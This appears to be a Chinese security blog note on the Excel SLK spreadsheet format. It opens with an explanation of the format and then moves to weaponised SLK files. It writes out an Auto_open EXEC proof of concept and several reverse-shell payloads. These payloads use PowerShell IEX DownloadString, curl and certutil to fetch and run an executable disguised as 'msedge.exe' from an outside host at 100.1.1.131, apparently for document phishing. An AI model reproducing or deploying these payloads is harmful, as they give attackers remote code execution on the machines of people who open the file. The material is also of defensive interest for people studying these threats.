SLK
2024年7月11日大约 4 分钟
SLK
概述
如何在没有 Excel 的情况下打开 SLK 文件 (filext.com)
SLK 文件大多属于 Microsoft 的 Excel。 SLK 文件是符号链接文件,它是由 Microsoft 开发并主要由 Excel 使用的格式。该文件格式仅使用可显示的 ANSI 字符来存储数据,并允许其他应用程序轻松处理其内容。
在2007年XLSX引入之前且XLS文件是私有文件格式的时候,SLK是XLS的开放格式替代品,对于最终用户来说,SLK文件看起来像一个Excel文档。
- 主要用途: SLK文件格式主要用于程序之间(如微软 Excel 和 Lotus 1-2-3)传输数据。由于这些文件仅使用可显示的 ANSI 字符,因此程序和用户都很容易解释它们,并且可以使用简单的文本编辑器(例如记事本)查看或修改。
- 预览与编辑软件: 虽然该格式主要由 Microsoft Excel 使用,但其他程序(例如 OpenOffice、LibreOffice 和 Gnumeric)也支持该文件格式的变体。
- 文件结构:SLK 文件中的数据以纯文本形式存储,并以分号分隔的值进行组织。要在单元格中包含文字分号,可以使用前面的分号对其进行转义,这将导致字符被视为单元格的一部分,而不是文件结构的一部分。
例如:
ID;P
C;X1;Y1;K"Header1"
C;X2;Y1;K"Header2"
C;X1;Y2;K"Data1"
C;X2;Y2;K"Data2"
EID;P是文件的标识符和参数C;X1;Y1;K"Header1"表示第1列第1行的单元格内容是"Header1"C-Cell表示这是一行单元格数据X1表示单元格所在的列, 第 1 列Y1表示单元格所在的行, 第 1 行K"Header1":表示单元格的内容,K是 "Konstant"(常量)的缩写,"Header1"是该单元格的实际内容,即文字 "Header1"
C;X2;Y1;K"Header2"表示第2列第1行的单元格内容是"Header2"C;X1;Y2;K"Data1"表示第1列第2行的单元格内容是"Data1"C;X2;Y2;K"Data2"表示第2列第2行的单元格内容是"Data2"E表示文件结束
调起计算器
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("calc.exe")
C;X1;Y102;K0;EHALT()
ENN;NAuto_open;ER101C1;KOut Flank;F- NN:名称定义行,定义一个名称及其范围
- N:后面的
Auto_open表示名称。此处定义了一个名称Auto_open - ER101C1:范围定义,表示范围从
R101C1开始,即第101行第1列。前面的E可能表示扩展的范围定义 - KOut Flank:为名称
Auto_open赋值,值为Out Flank - F:标志,可能用于特定标识或格式设置
C;X1;Y101;K0;EEXEC("calc.exe")- K0:表示单元格的内容,这里是数值
0 - EEXEC("calc.exe"):执行命令
EXEC("calc.exe"),表示在读取和执行此SLK文件时将运行calc.exe,即打开计算器程序
- K0:表示单元格的内容,这里是数值
C;X1;Y102;K0;EHALT()- K0:表示单元格的内容,这里是数值
0。 - EHALT():执行命令
HALT(),表示停止或结束操作。这通常用于结束脚本或宏的执行。

反弹Shell
http://100.1.1.131:8000/powershell_curl_reverse_shell.txt:
curl http://100.1.1.131:8000/download/msedge.exe -o msedge.exe;./msedge.exeslk_reverse_shell.slk:
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("powershell.exe -nop -c IEX((new-object Net.WebClient).DownloadString('http://100.1.1.131:8000/download/powershell_curl_reverse_shell.txt'))")
C;X1;Y102;K0;EHALT()
EPS: 无法成功执行此命令, 原因未知
PS: 命令替换成
powershell.exe -nop -c IEX('calc.exe')是可以正常弹出计算器的
shell.cmd
certutil -urlcache -split -f http://100.1.1.131:8000/download/msedge.exe a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://100.1.1.131:8000/download/msedge.exe deleteslk_reverse_shell_shell_cmd_file_win1252.slk
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:/temp/shell.cmd")
C;X1;Y102;K0;EHALT()
Eslk_reverse_shell_certutil_win1252.slk
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("cmd.exe /c certutil -urlcache -split -f http://100.1.1.131:8000/download/msedge.exe a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://100.1.1.131:8000/download/msedge.exe delete")
C;X1;Y102;K0;EHALT()
E

参考材料
- Macos Office攻防 | YoungRichOG
- 关于文档钓鱼的学习 | 藏青's BLOG (cangqingzhe.github.io)
- 【技术分享】如何绕过受保护视图发起钓鱼攻击-安全客 - 安全资讯平台 (anquanke.com)
- 安天引擎助力全线产品精准检测SLK格式威胁 (antiy.com)